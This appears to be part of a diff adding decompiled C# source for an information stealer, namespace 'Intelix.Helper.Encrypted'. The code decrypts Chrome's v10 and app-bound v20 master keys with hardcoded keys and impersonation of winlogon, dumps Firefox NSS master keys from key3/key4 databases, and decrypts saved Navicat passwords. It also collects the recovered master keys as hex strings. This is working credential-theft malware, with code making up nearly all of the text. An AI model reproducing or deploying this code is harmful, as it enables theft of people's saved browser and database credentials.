3141171499u, 876946877u, 2693282273u, 1372485963u, 791857591u, 2686433993u, 3759982718u, 3167212022u, 3472953795u, 2716379847u,
445679433u, 3561995674u, 3504004811u, 3574258232u, 54117162u, 3331405415u, 2381918588u, 3769707343u, 4154350007u, 1140177722u,
4074052095u, 668550556u, 3214352940u, 367459370u, 261225585u, 2610173221u, 4209349473u, 3468074219u, 3265815641u, 314222801u,
3066103646u, 3808782860u, 282218597u, 3406013506u, 3773591054u, 379116347u, 1285071038u, 846784868u, 2669647154u, 3771962079u,
3550491691u, 2305946142u, 453669953u, 1268987020u, 3317592352u, 3279303384u, 3744833421u, 2610507566u, 3859509063u, 266596637u,
3847019092u, 517658769u, 3462560207u, 3443424879u, 370717030u, 4247526661u, 2224018117u, 4143653529u, 4112773975u, 2788324899u,
2477274417u, 1456262402u, 2901442914u, 1517677493u, 1846949527u, 2295493580u, 3734397586u, 2176403920u, 1280348187u, 1908823572u,
3871786941u, 846861322u, 1172426758u, 3287448474u, 3383383037u, 1655181056u, 3139813346u, 901632758u, 1897031941u, 2986607138u,
3066810236u, 3447102507u, 1393639104u, 373351379u, 950779232u, 625454576u, 3124240540u, 4148612726u, 2007998917u, 544563296u,
2244738638u, 2330496472u, 2058025392u, 1291430526u, 424198748u, 50039436u, 29584100u, 3605783033u, 2429876329u, 2791104160u,
1057563949u, 3255363231u, 3075367218u, 3463963227u, 1469046755u, 985887462u
}
};
private uint[] SubKey;
private uint[,] SBox;
private uint _F_Transform(uint x)
{
byte[] bytes = BitConverter.GetBytes(x);
if (!BitConverter.IsLittleEndian)
{
Array.Reverse(bytes);
}
return ((SBox[0, bytes[3]] + SBox[1, bytes[2]]) ^ SBox[2, bytes[1]]) + SBox[3, bytes[0]];
}
public void Encrypt(byte[] srcBytes, Endian endian)
{
byte[] array = new byte[4];
byte[] array2 = new byte[4];
Array.Copy(srcBytes, 0, array, 0, 4);
Array.Copy(srcBytes, 4, array2, 0, 4);
if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little))
{
Array.Reverse(array);
Array.Reverse(array2);
}
uint num = BitConverter.ToUInt32(array, 0);
uint num2 = BitConverter.ToUInt32(array2, 0);
num ^= SubKey[0];
num2 ^= _F_Transform(num);
num2 ^= SubKey[1];
num ^= _F_Transform(num2);
num ^= SubKey[2];
num2 ^= _F_Transform(num);
num2 ^= SubKey[3];
num ^= _F_Transform(num2);
num ^= SubKey[4];
num2 ^= _F_Transform(num);
num2 ^= SubKey[5];
num ^= _F_Transform(num2);
num ^= SubKey[6];
num2 ^= _F_Transform(num);
num2 ^= SubKey[7];
num ^= _F_Transform(num2);
num ^= SubKey[8];
num2 ^= _F_Transform(num);
num2 ^= SubKey[9];
num ^= _F_Transform(num2);
num ^= SubKey[10];
num2 ^= _F_Transform(num);
num2 ^= SubKey[11];
num ^= _F_Transform(num2);
num ^= SubKey[12];
num2 ^= _F_Transform(num);
num2 ^= SubKey[13];
num ^= _F_Transform(num2);
num ^= SubKey[14];
num2 ^= _F_Transform(num);
num2 ^= SubKey[15];
num ^= _F_Transform(num2);
num ^= SubKey[16];
num2 ^= SubKey[17];
array = BitConverter.GetBytes(num2);
array2 = BitConverter.GetBytes(num);
if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little))
{
Array.Reverse(array);
Array.Reverse(array2);
}
Array.Copy(array, 0, srcBytes, 0, 4);
Array.Copy(array2, 0, srcBytes, 4, 4);
}
public void Decrypt(byte[] srcBytes, Endian endian)
{
byte[] array = new byte[4];
byte[] array2 = new byte[4];
Array.Copy(srcBytes, 0, array, 0, 4);
Array.Copy(srcBytes, 4, array2, 0, 4);
if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little))
{
Array.Reverse(array);
Array.Reverse(array2);
}
uint num = BitConverter.ToUInt32(array2, 0);
uint num2 = BitConverter.ToUInt32(array, 0);
num ^= SubKey[16];
num2 ^= SubKey[17];
num ^= _F_Transform(num2);
num2 ^= SubKey[15];
num2 ^= _F_Transform(num);
num ^= SubKey[14];
num ^= _F_Transform(num2);
num2 ^= SubKey[13];
num2 ^= _F_Transform(num);
num ^= SubKey[12];
num ^= _F_Transform(num2);
num2 ^= SubKey[11];
num2 ^= _F_Transform(num);
num ^= SubKey[10];
num ^= _F_Transform(num2);
num2 ^= SubKey[9];
num2 ^= _F_Transform(num);
num ^= SubKey[8];
num ^= _F_Transform(num2);
num2 ^= SubKey[7];
num2 ^= _F_Transform(num);
num ^= SubKey[6];
num ^= _F_Transform(num2);
num2 ^= SubKey[5];
num2 ^= _F_Transform(num);
num ^= SubKey[4];
num ^= _F_Transform(num2);
num2 ^= SubKey[3];
num2 ^= _F_Transform(num);
num ^= SubKey[2];
num ^= _F_Transform(num2);
num2 ^= SubKey[1];
num2 ^= _F_Transform(num);
num ^= SubKey[0];
array = BitConverter.GetBytes(num);
array2 = BitConverter.GetBytes(num2);
if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little))
{
Array.Reverse(array);
Array.Reverse(array2);
}
Array.Copy(array, 0, srcBytes, 0, 4);
Array.Copy(array2, 0, srcBytes, 4, 4);
}
public Blowfish(byte[] UserKey)
{
if (UserKey.Length < MinUserKeyLength)
{
throw new ArgumentException("UserKey is too short.");
}
if (UserKey.Length > 56)
{
throw new ArgumentException("UserKey is too long.");
}
SubKey = OriginPBox.Clone() as uint[];
SBox = OriginSBox.Clone() as uint[,];
for (int i = 0; i < 18; i++)
{
uint num = 0u;
num <<= 8;
num |= UserKey[i * 4 % UserKey.Length];
num <<= 8;
num |= UserKey[(i * 4 + 1) % UserKey.Length];
num <<= 8;
num |= UserKey[(i * 4 + 2) % UserKey.Length];
num <<= 8;
num |= UserKey[(i * 4 + 3) % UserKey.Length];
SubKey[i] ^= num;
}
byte[] array = new byte[8];
for (int j = 0; j < 9; j++)
{
Encrypt(array, Endian.Little);
Buffer.BlockCopy(array, 0, SubKey, 8 * j, 8);
}
for (int k = 0; k < 4; k++)
{
for (int l = 0; l < 128; l++)
{
Encrypt(array, Endian.Little);
Buffer.BlockCopy(array, 0, SBox, 1024 * k + 8 * l, 8);
}
}
}
}
@@ -0,0 +1,244 @@
using System;
using System.Numerics;
using System.Security.Cryptography;
namespace Intelix.Helper.Encrypted;
public static class ChaCha20Poly1305
{
public static byte[] Decrypt(byte[] key32, byte[] iv12, byte[] ciphertext, byte[] tag, byte[] aad = null)
{
if (key32 == null)
{
throw new ArgumentNullException("key32");
}
if (key32.Length != 32)
{
throw new ArgumentException("Key must be 32 bytes", "key32");
}
if (iv12 == null)
{
throw new ArgumentNullException("iv12");
}
if (iv12.Length != 12)
{
throw new ArgumentException("IV must be 12 bytes", "iv12");
}
if (ciphertext == null)
{
throw new ArgumentNullException("ciphertext");
}
if (tag == null)
{
throw new ArgumentNullException("tag");
}
if (tag.Length != 16)
{
throw new ArgumentException("Tag must be 16 bytes", "tag");
}
if (aad == null)
{
aad = Array.Empty<byte>();
}
byte[] array = ChaCha20Block(key32, 0u, iv12);
byte[] array2 = new byte[32];
Buffer.BlockCopy(array, 0, array2, 0, 32);
byte[] msg = BuildPoly1305Message(aad, ciphertext);
if (!FixedTimeEquals(Poly1305TagWithBigInteger(array2, msg), tag))
{
Array.Clear(array, 0, array.Length);
Array.Clear(array2, 0, array2.Length);
throw new CryptographicException("ChaCha20-Poly1305 authentication failed (tag mismatch).");
}
byte[] array3 = new byte[ciphertext.Length];
ChaCha20Xor(key32, 1u, iv12, ciphertext, array3);
Array.Clear(array, 0, array.Length);
Array.Clear(array2, 0, array2.Length);
return array3;
}
private static byte[] ChaCha20Block(byte[] key32, uint counter, byte[] nonce12)
{
uint[] array = new uint[16]
{
1634760805u, 857760878u, 2036477234u, 1797285236u, 0u, 0u, 0u, 0u, 0u, 0u,
0u, 0u, 0u, 0u, 0u, 0u
};
for (int i = 0; i < 8; i++)
{
array[4 + i] = ToUInt32Little(key32, i * 4);
}
array[12] = counter;
array[13] = ToUInt32Little(nonce12, 0);
array[14] = ToUInt32Little(nonce12, 4);
array[15] = ToUInt32Little(nonce12, 8);
uint[] array2 = new uint[16];
Array.Copy(array, array2, 16);
for (int j = 0; j < 10; j++)
{
QuarterRound(ref array2[0], ref array2[4], ref array2[8], ref array2[12]);
QuarterRound(ref array2[1], ref array2[5], ref array2[9], ref array2[13]);
QuarterRound(ref array2[2], ref array2[6], ref array2[10], ref array2[14]);
QuarterRound(ref array2[3], ref array2[7], ref array2[11], ref array2[15]);
QuarterRound(ref array2[0], ref array2[5], ref array2[10], ref array2[15]);
QuarterRound(ref array2[1], ref array2[6], ref array2[11], ref array2[12]);
QuarterRound(ref array2[2], ref array2[7], ref array2[8], ref array2[13]);
QuarterRound(ref array2[3], ref array2[4], ref array2[9], ref array2[14]);
}
byte[] array3 = new byte[64];
for (int k = 0; k < 16; k++)
{
LittleEndian(array2[k] + array[k], array3, k * 4);
}
return array3;
}
private static void QuarterRound(ref uint a, ref uint b, ref uint c, ref uint d)
{
a += b;
d ^= a;
d = Rol(d, 16);
c += d;
b ^= c;
b = Rol(b, 12);
a += b;
d ^= a;
d = Rol(d, 8);
c += d;
b ^= c;
b = Rol(b, 7);
}
private static uint Rol(uint x, int n)
{
return (x << n) | (x >> 32 - n);
}
private static uint ToUInt32Little(byte[] bs, int off)
{
return (uint)(bs[off] | (bs[off + 1] << 8) | (bs[off + 2] << 16) | (bs[off + 3] << 24));
}
private static void LittleEndian(uint v, byte[] outbuf, int off)
{
outbuf[off] = (byte)(v & 0xFF);
outbuf[off + 1] = (byte)((v >> 8) & 0xFF);
outbuf[off + 2] = (byte)((v >> 16) & 0xFF);
outbuf[off + 3] = (byte)((v >> 24) & 0xFF);
}
private static void ChaCha20Xor(byte[] key, uint counter, byte[] nonce, byte[] input, byte[] output)
{
if (input == null || input.Length == 0)
{
return;
}
int i = 0;
uint num = counter;
int num2;
for (; i < input.Length; i += num2)
{
byte[] array = ChaCha20Block(key, num, nonce);
num++;
num2 = Math.Min(64, input.Length - i);
for (int j = 0; j < num2; j++)
{
output[i + j] = (byte)(input[i + j] ^ array[j]);
}
}
}
private static byte[] BuildPoly1305Message(byte[] aad, byte[] ciphertext)
{
int num = ((aad != null) ? aad.Length : 0);
int num2 = ((ciphertext != null) ? ciphertext.Length : 0);
int num3 = (16 - num % 16) % 16;
int num4 = (16 - num2 % 16) % 16;
byte[] array = new byte[num + num3 + num2 + num4 + 8 + 8];
int num5 = 0;
if (num > 0)
{
Buffer.BlockCopy(aad, 0, array, num5, num);
num5 += num;
}
if (num3 > 0)
{
num5 += num3;
}
if (num2 > 0)
{
Buffer.BlockCopy(ciphertext, 0, array, num5, num2);
num5 += num2;
}
if (num4 > 0)
{
num5 += num4;
}
byte[] bytes = BitConverter.GetBytes((ulong)num);
byte[] bytes2 = BitConverter.GetBytes((ulong)num2);
Buffer.BlockCopy(bytes, 0, array, num5, 8);
num5 += 8;
Buffer.BlockCopy(bytes2, 0, array, num5, 8);
num5 += 8;
return array;
}
private static byte[] Poly1305TagWithBigInteger(byte[] oneTimeKey32, byte[] msg)
{
byte[] array = new byte[16];
Buffer.BlockCopy(oneTimeKey32, 0, array, 0, 16);
array[3] &= 15;
array[7] &= 15;
array[11] &= 15;
array[15] &= 15;
array[4] &= 252;
array[8] &= 252;
array[12] &= 252;
byte[] array2 = new byte[16];
Buffer.BlockCopy(oneTimeKey32, 16, array2, 0, 16);
BigInteger bigInteger = new BigInteger(AppendZero(array));
BigInteger bigInteger2 = new BigInteger(AppendZero(array2));
BigInteger bigInteger3 = (BigInteger.One << 130) - 5;
BigInteger bigInteger4 = BigInteger.Zero;
for (int i = 0; i < msg.Length; i += 16)
{
int num = Math.Min(16, msg.Length - i);
byte[] array3 = new byte[num];
Buffer.BlockCopy(msg, i, array3, 0, num);
BigInteger bigInteger5 = new BigInteger(AppendZero(array3));
BigInteger bigInteger6 = BigInteger.One << 8 * num;
bigInteger5 += bigInteger6;
bigInteger4 += bigInteger5;
bigInteger4 = bigInteger4 * bigInteger % bigInteger3;
}
byte[] array4 = (bigInteger4 + bigInteger2).ToByteArray();
byte[] array5 = new byte[16];
for (int j = 0; j < 16 && j < array4.Length; j++)
{
array5[j] = array4[j];
}
return array5;
}
private static byte[] AppendZero(byte[] b)
{
byte[] array = new byte[b.Length + 1];
Buffer.BlockCopy(b, 0, array, 0, b.Length);
array[array.Length - 1] = 0;
return array;
}
private static bool FixedTimeEquals(byte[] a, byte[] b)
{
if (a == null || b == null || a.Length != b.Length)
{
return false;
}
int num = 0;
for (int i = 0; i < a.Length; i++)
{
num |= a[i] ^ b[i];
}
return num == 0;
}
}
+51
View File
@@ -0,0 +1,51 @@
using System;
namespace Intelix.Helper.Encrypted;
public static class CngDecryptor
{
private const int NCRYPT_SILENT_FLAG = 64;
public static byte[] Decrypt(byte[] inputData, string providerName = "Microsoft Software Key Storage Provider", string keyName = "Google Chromekey1")
{
IntPtr phProvider = IntPtr.Zero;
IntPtr phKey = IntPtr.Zero;
try
{
int num = NativeMethods.NCryptOpenStorageProvider(out phProvider, providerName, 0);
if (num != 0)
{
throw new Exception($"Ошибка NCryptOpenStorageProvider: Код {num}");
}
num = NativeMethods.NCryptOpenKey(phProvider, out phKey, keyName, 0, 0);
if (num != 0)
{
throw new Exception($"Ошибка NCryptOpenKey: Код {num}");
}
num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, null, 0, out var pcbResult, 64);
if (num != 0)
{
throw new Exception($"Ошибка определения размера NCryptDecrypt: Код {num}");
}
byte[] array = new byte[pcbResult];
num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, array, array.Length, out pcbResult, 64);
if (num != 0)
{
throw new Exception($"Ошибка NCryptDecrypt: Код {num}");
}
Array.Resize(ref array, pcbResult);
return array;
}
finally
{
if (phKey != IntPtr.Zero)
{
NativeMethods.NCryptFreeObject(phKey);
}
if (phProvider != IntPtr.Zero)
{
NativeMethods.NCryptFreeObject(phProvider);
}
}
}
}
+48
View File
@@ -0,0 +1,48 @@
using System;
using System.Runtime.InteropServices;
namespace Intelix.Helper.Encrypted;
public static class DpApi
{
private static NativeMethods.CryptprotectPromptstruct Prompt = new NativeMethods.CryptprotectPromptstruct
{
cbSize = Marshal.SizeOf(typeof(NativeMethods.CryptprotectPromptstruct)),
dwPromptFlags = 0,
hwndApp = IntPtr.Zero,
szPrompt = null
};
public static byte[] Decrypt(byte[] bCipher)
{
NativeMethods.DataBlob pDataIn = default(NativeMethods.DataBlob);
NativeMethods.DataBlob pDataOut = default(NativeMethods.DataBlob);
NativeMethods.DataBlob pOptionalEntropy = default(NativeMethods.DataBlob);
string ppszDataDescr = string.Empty;
GCHandle gCHandle = GCHandle.Alloc(bCipher, GCHandleType.Pinned);
pDataIn.cbData = bCipher.Length;
pDataIn.pbData = gCHandle.AddrOfPinnedObject();
try
{
if (!NativeMethods.CryptUnprotectData(ref pDataIn, ref ppszDataDescr, ref pOptionalEntropy, IntPtr.Zero, ref Prompt, 0, ref pDataOut) || pDataOut.cbData == 0)
{
return null;
}
byte[] array = new byte[pDataOut.cbData];
Marshal.Copy(pDataOut.pbData, array, 0, pDataOut.cbData);
return array;
}
finally
{
gCHandle.Free();
if (pDataOut.pbData != IntPtr.Zero)
{
Marshal.FreeHGlobal(pDataOut.pbData);
}
if (pOptionalEntropy.pbData != IntPtr.Zero)
{
Marshal.FreeHGlobal(pOptionalEntropy.pbData);
}
}
}
}
@@ -0,0 +1,68 @@
using System;
using System.Text;
using Intelix.Helper.Sql;
namespace Intelix.Helper.Encrypted;
public static class LocalEncryptor
{
public static byte[] ExtractEncryptionKey(SqLite sql, byte[] encryptionKey)
{
byte[] array = new byte[0];
if (sql.ReadTable("meta"))
{
for (int i = 0; i < sql.GetRowCount(); i++)
{
if (sql.GetValue(i, 0).Equals("local_encryptor_data"))
{
array = Encoding.Default.GetBytes(sql.GetValue(i, 1));
break;
}
}
}
int num = FindByteSequence(array, Encoding.ASCII.GetBytes("v10"));
if (num == -1)
{
return null;
}
byte[] array2 = new byte[96];
Array.Copy(array, num + 3, array2, 0, 96);
byte[] array3 = new byte[12];
Array.Copy(array2, 0, array3, 0, 12);
int num2 = array2.Length - 12 - 16;
byte[] array4 = new byte[num2];
Array.Copy(array2, 12, array4, 0, num2);
byte[] array5 = new byte[16];
Array.Copy(array2, array2.Length - 16, array5, 0, 16);
byte[] array6 = AesGcm256.Decrypt(encryptionKey, array3, null, array4, array5);
if (BitConverter.ToInt32(array6, 0) == 538050824)
{
byte[] array7 = new byte[32];
Array.Copy(array6, 4, array7, 0, 32);
return array7;
}
return null;
}
private static int FindByteSequence(byte[] src, byte[] pattern)
{
int num = src.Length - pattern.Length + 1;
for (int i = 0; i < num; i++)
{
if (src[i] != pattern[0])
{
continue;
}
int num2 = pattern.Length - 1;
while (num2 >= 1 && src[i + num2] == pattern[num2])
{
if (num2 == 1)
{
return i;
}
num2--;
}
}
return -1;
}
}
+226
View File
@@ -0,0 +1,226 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
namespace Intelix.Helper.Encrypted;
public static class LocalState
{
private static readonly ConcurrentDictionary<string, Lazy<byte[]>> _masterKeyCacheV10 = new ConcurrentDictionary<string, Lazy<byte[]>>();
private static readonly ConcurrentDictionary<string, Lazy<byte[]>> _masterKeyCacheV20 = new ConcurrentDictionary<string, Lazy<byte[]>>();
private static readonly ConcurrentDictionary<string, SemaphoreSlim> _locks = new ConcurrentDictionary<string, SemaphoreSlim>();
public static List<string[]> GetMasterKeys()
{
List<string[]> list = new List<string[]>();
foreach (KeyValuePair<string, Lazy<byte[]>> item in _masterKeyCacheV10)
{
try
{
string text = item.Key ?? "";
Lazy<byte[]> value = item.Value;
if (value == null)
{
continue;
}
byte[] value2 = value.Value;
if (value2 != null)
{
StringBuilder stringBuilder = new StringBuilder(value2.Length * 2);
byte[] array = value2;
foreach (byte b in array)
{
stringBuilder.Append(b.ToString("X2"));
}
list.Add(new string[3]
{
text,
"v10",
stringBuilder.ToString()
});
}
}
catch
{
}
}
foreach (KeyValuePair<string, Lazy<byte[]>> item2 in _masterKeyCacheV20)
{
try
{
string text2 = item2.Key ?? "";
Lazy<byte[]> value3 = item2.Value;
if (value3 == null)
{
continue;
}
byte[] value4 = value3.Value;
if (value4 != null)
{
StringBuilder stringBuilder2 = new StringBuilder(value4.Length * 2);
byte[] array = value4;
foreach (byte b2 in array)
{
stringBuilder2.Append(b2.ToString("X2"));
}
list.Add(new string[3]
{
text2,
"v20",
stringBuilder2.ToString()
});
}
}
catch
{
}
}
return list;
}
public static byte[] MasterKeyV20(string localstate)
{
SemaphoreSlim orAdd = _locks.GetOrAdd(localstate, (string _) => new SemaphoreSlim(1, 1));
orAdd.Wait();
try
{
if (_masterKeyCacheV20.TryGetValue(localstate, out var value))
{
return value.Value;
}
Lazy<byte[]> lazy = new Lazy<byte[]>(() => ComputeMasterKeyV20(localstate));
_masterKeyCacheV20[localstate] = lazy;
return lazy.Value;
}
finally
{
orAdd.Release();
}
}
private static byte[] ComputeMasterKeyV20(string localstate)
{
try
{
Match match = Regex.Match(LocalStateContent(localstate), "\"app_bound_encrypted_key\"\\s*:\\s*\"([^\"]+)\"");
if (!match.Success)
{
return null;
}
BlobParsedData blobParsedData = ParseKeyBlob.Parse(DecryptAsSystemUser(Convert.FromBase64String(match.Groups[1].Value).Skip(4).ToArray()));
switch (blobParsedData.Flag)
{
case 1:
return AesGcm256.Decrypt(new byte[32]
{
179, 28, 110, 36, 26, 200, 70, 114, 141, 169,
193, 250, 196, 147, 102, 81, 207, 251, 148, 77,
20, 58, 184, 22, 39, 107, 204, 109, 160, 40,
71, 135
}, blobParsedData.Iv, null, blobParsedData.Ciphertext, blobParsedData.Tag);
case 2:
return ChaCha20Poly1305.Decrypt(new byte[32]
{
233, 143, 55, 215, 244, 225, 250, 67, 61, 25,
48, 77, 194, 37, 128, 66, 9, 14, 45, 29,
126, 234, 118, 112, 212, 31, 115, 141, 8, 114,
150, 96
}, blobParsedData.Iv, blobParsedData.Ciphertext, blobParsedData.Tag);
case 3:
{
byte[] array = new byte[32]
{
204, 248, 161, 206, 197, 102, 5, 184, 81, 117,
82, 186, 26, 45, 6, 28, 3, 162, 158, 144,
39, 79, 178, 252, 245, 155, 164, 183, 92, 57,
35, 144
};
byte[] array2 = CDecryptor(blobParsedData.EncryptedAesKey);
for (int i = 0; i < array2.Length; i++)
{
array2[i] ^= array[i];
}
return AesGcm256.Decrypt(array2, blobParsedData.Iv, null, blobParsedData.Ciphertext, blobParsedData.Tag);
}
case 32:
return blobParsedData.EncryptedAesKey;
default:
return null;
}
}
catch
{
return null;
}
}
public static byte[] MasterKeyV10(string localstate)
{
SemaphoreSlim orAdd = _locks.GetOrAdd(localstate, (string _) => new SemaphoreSlim(1, 1));
orAdd.Wait();
try
{
if (_masterKeyCacheV10.TryGetValue(localstate, out var value))
{
return value.Value;
}
Lazy<byte[]> lazy = new Lazy<byte[]>(() => ComputeMasterKeyV10(localstate));
_masterKeyCacheV10[localstate] = lazy;
return lazy.Value;
}
finally
{
orAdd.Release();
}
}
private static byte[] ComputeMasterKeyV10(string localstate)
{
try
{
Match match = Regex.Match(LocalStateContent(localstate), "\"encrypted_key\":\"(.*?)\"");
if (!match.Success)
{
return null;
}
return DpApi.Decrypt(Convert.FromBase64String(match.Groups[1].Value).Skip(5).ToArray());
}
catch
{
return null;
}
}
private static byte[] CDecryptor(byte[] encryptedData)
{
using (ImpersonationHelper.ImpersonateWinlogon())
{
return CngDecryptor.Decrypt(encryptedData);
}
}
private static byte[] DecryptAsSystemUser(byte[] encryptedData)
{
using (ImpersonationHelper.ImpersonateWinlogon())
{
encryptedData = DpApi.Decrypt(encryptedData);
}
return DpApi.Decrypt(encryptedData);
}
private static string LocalStateContent(string localstate)
{
string text = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());
File.Copy(localstate, text, overwrite: true);
string result = File.ReadAllText(text);
File.Delete(text);
return result;
}
}
+80
View File
@@ -0,0 +1,80 @@
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace Intelix.Helper.Encrypted;
public static class NSSDecryptor
{
public struct SECItem
{
public int Type;
public IntPtr Data;
public int Len;
}
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
private static extern int NSS_Init(string configdir);
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
private static extern int NSS_Shutdown();
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
private static extern int PK11SDR_Decrypt(ref SECItem data, ref SECItem result, int cx);
public static bool Initialize(string profilePath)
{
try
{
string text = "C:\\Program Files\\Mozilla Firefox";
if (!Directory.Exists(text))
{
return false;
}
string environmentVariable = Environment.GetEnvironmentVariable("PATH");
environmentVariable = environmentVariable + ";" + text;
Environment.SetEnvironmentVariable("PATH", environmentVariable);
return NSS_Init(profilePath) == 0;
}
catch
{
return false;
}
}
public static string Decrypt(string base64)
{
try
{
byte[] array = Convert.FromBase64String(base64);
if (array.Length == 0)
{
return null;
}
SECItem data = new SECItem
{
Data = Marshal.AllocHGlobal(array.Length),
Len = array.Length,
Type = 0
};
Marshal.Copy(array, 0, data.Data, array.Length);
SECItem result = default(SECItem);
int num = PK11SDR_Decrypt(ref data, ref result, 0);
Marshal.FreeHGlobal(data.Data);
if (num != 0 || result.Data == IntPtr.Zero)
{
return null;
}
byte[] array2 = new byte[result.Len];
Marshal.Copy(result.Data, array2, 0, result.Len);
return Encoding.UTF8.GetString(array2);
}
catch
{
return null;
}
}
}
@@ -0,0 +1,64 @@
using System;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
namespace Intelix.Helper.Encrypted;
public class Navicat11Cipher
{
private Blowfish blowfishCipher;
protected byte[] StringToByteArray(string hex)
{
return (from x in Enumerable.Range(0, hex.Length)
where x % 2 == 0
select Convert.ToByte(hex.Substring(x, 2), 16)).ToArray();
}
protected void XorBytes(byte[] a, byte[] b, int len)
{
for (int i = 0; i < len; i++)
{
a[i] ^= b[i];
}
}
public Navicat11Cipher()
{
byte[] array = new byte[8] { 51, 68, 67, 53, 67, 65, 51, 57 };
using SHA1CryptoServiceProvider sHA1CryptoServiceProvider = new SHA1CryptoServiceProvider();
sHA1CryptoServiceProvider.TransformFinalBlock(array, 0, array.Length);
blowfishCipher = new Blowfish(sHA1CryptoServiceProvider.Hash);
}
public string DecryptString(string ciphertext)
{
byte[] array = StringToByteArray(ciphertext);
byte[] array2 = Enumerable.Repeat(byte.MaxValue, blowfishCipher.BlockSize).ToArray();
blowfishCipher.Encrypt(array2, Blowfish.Endian.Big);
byte[] array3 = new byte[0];
int num = array.Length / blowfishCipher.BlockSize;
int num2 = array.Length % blowfishCipher.BlockSize;
byte[] array4 = new byte[blowfishCipher.BlockSize];
byte[] array5 = new byte[blowfishCipher.BlockSize];
for (int i = 0; i < num; i++)
{
Array.Copy(array, blowfishCipher.BlockSize * i, array4, 0, blowfishCipher.BlockSize);
Array.Copy(array4, array5, blowfishCipher.BlockSize);
blowfishCipher.Decrypt(array4, Blowfish.Endian.Big);
XorBytes(array4, array2, blowfishCipher.BlockSize);
array3 = array3.Concat(array4).ToArray();
XorBytes(array2, array5, blowfishCipher.BlockSize);
}
if (num2 != 0)
{
Array.Clear(array4, 0, array4.Length);
Array.Copy(array, blowfishCipher.BlockSize * num, array4, 0, num2);
blowfishCipher.Encrypt(array2, Blowfish.Endian.Big);
XorBytes(array4, array2, blowfishCipher.BlockSize);
array3 = array3.Concat(array4.Take(num2).ToArray()).ToArray();
}
return Encoding.UTF8.GetString(array3);
}
}
@@ -0,0 +1,178 @@
using System;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Text;
using Intelix.Helper.Hashing;
using Intelix.Helper.Sql;
namespace Intelix.Helper.Encrypted;
public static class NssDumpMasterKey
{
public static byte[] Key4Database(string path)
{
Asn1Der asn1Der = new Asn1Der();
SqLite sqLite = SqLite.ReadTable(path, "metaData");
if (sqLite == null)
{
return null;
}
for (int i = 0; i < sqLite.GetRowCount(); i++)
{
if (sqLite.GetValue(i, 0) != "password")
{
continue;
}
byte[] bytes = Encoding.UTF8.GetBytes(sqLite.GetValue(i, 1));
byte[] bytes2 = Encoding.UTF8.GetBytes(sqLite.GetValue(i, 2));
if (bytes.Length < 1 || bytes2.Length < 1)
{
continue;
}
Asn1DerObject asn1DerObject = asn1Der.Parse(bytes2);
string text = asn1DerObject.ToString();
if (text == null)
{
continue;
}
if (text.Contains("2A864886F70D010C050103"))
{
byte[] array = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[0]?.Data;
byte[] array2 = asn1DerObject.Objects[0]?.Objects[1]?.Data;
if (array == null || array2 == null)
{
continue;
}
byte[] bytes3 = new TripleDes(array2, bytes, new byte[0], array).Compute();
if (!Encoding.GetEncoding("ISO-8859-1").GetString(bytes3).StartsWith("password-check"))
{
continue;
}
}
else
{
if (!text.Contains("2A864886F70D01050D"))
{
continue;
}
byte[] array3 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[0]?.Objects[1]?.Objects[0]?.Data;
byte[] array4 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[2]?.Objects[1]?.Data;
byte[] array5 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[3]?.Data;
if (array3 == null || array4 == null || array5 == null)
{
continue;
}
byte[] bytes4 = new PBE(array5, bytes, new byte[0], array3, array4).Compute();
if (!Encoding.GetEncoding("ISO-8859-1").GetString(bytes4).StartsWith("password-check"))
{
continue;
}
}
sqLite = SqLite.ReadTable(path, "nssPrivate");
if (sqLite != null)
{
int num = 0;
if (num < sqLite.GetRowCount())
{
byte[] bytes5 = Encoding.UTF8.GetBytes(sqLite.GetValue(num, 6));
Asn1DerObject asn1DerObject2 = asn1Der.Parse(bytes5);
byte[] sourceArray = new PBE(entrySalt: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[0].Objects[1].Objects[0].Data, partIv: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[2].Objects[1].Data, ciphertext: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[3].Data, globalSalt: bytes, masterPassword: new byte[0]).Compute();
byte[] array6 = new byte[24];
Array.Copy(sourceArray, array6, array6.Length);
return array6;
}
}
}
return null;
}
public static byte[] Key3Database(string path)
{
byte[] array = File.ReadAllBytes(path);
if (array == null)
{
return null;
}
Asn1Der asn1Der = new Asn1Der();
BerkeleyDB berkeleyDB = new BerkeleyDB(array);
string text = berkeleyDB.Keys.Where(delegate(KeyValuePair<string, string> p)
{
KeyValuePair<string, string> keyValuePair = p;
return keyValuePair.Key.Equals("password-check");
}).Select(delegate(KeyValuePair<string, string> p)
{
KeyValuePair<string, string> keyValuePair = p;
return keyValuePair.Value;
}).FirstOrDefault();
if (text == null)
{
return null;
}
text = text.Replace("-", null);
int num = int.Parse(text.Substring(2, 2), NumberStyles.HexNumber) * 2;
string hexString = text.Substring(6, num);
int num2 = text.Length - (6 + num + 36);
string hexString2 = text.Substring(6 + num + 4 + num2);
string text2 = berkeleyDB.Keys.Where(delegate(KeyValuePair<string, string> p)
{
KeyValuePair<string, string> keyValuePair = p;
return keyValuePair.Key.Equals("global-salt");
}).Select(delegate(KeyValuePair<string, string> p)
{
KeyValuePair<string, string> keyValuePair = p;
return keyValuePair.Value;
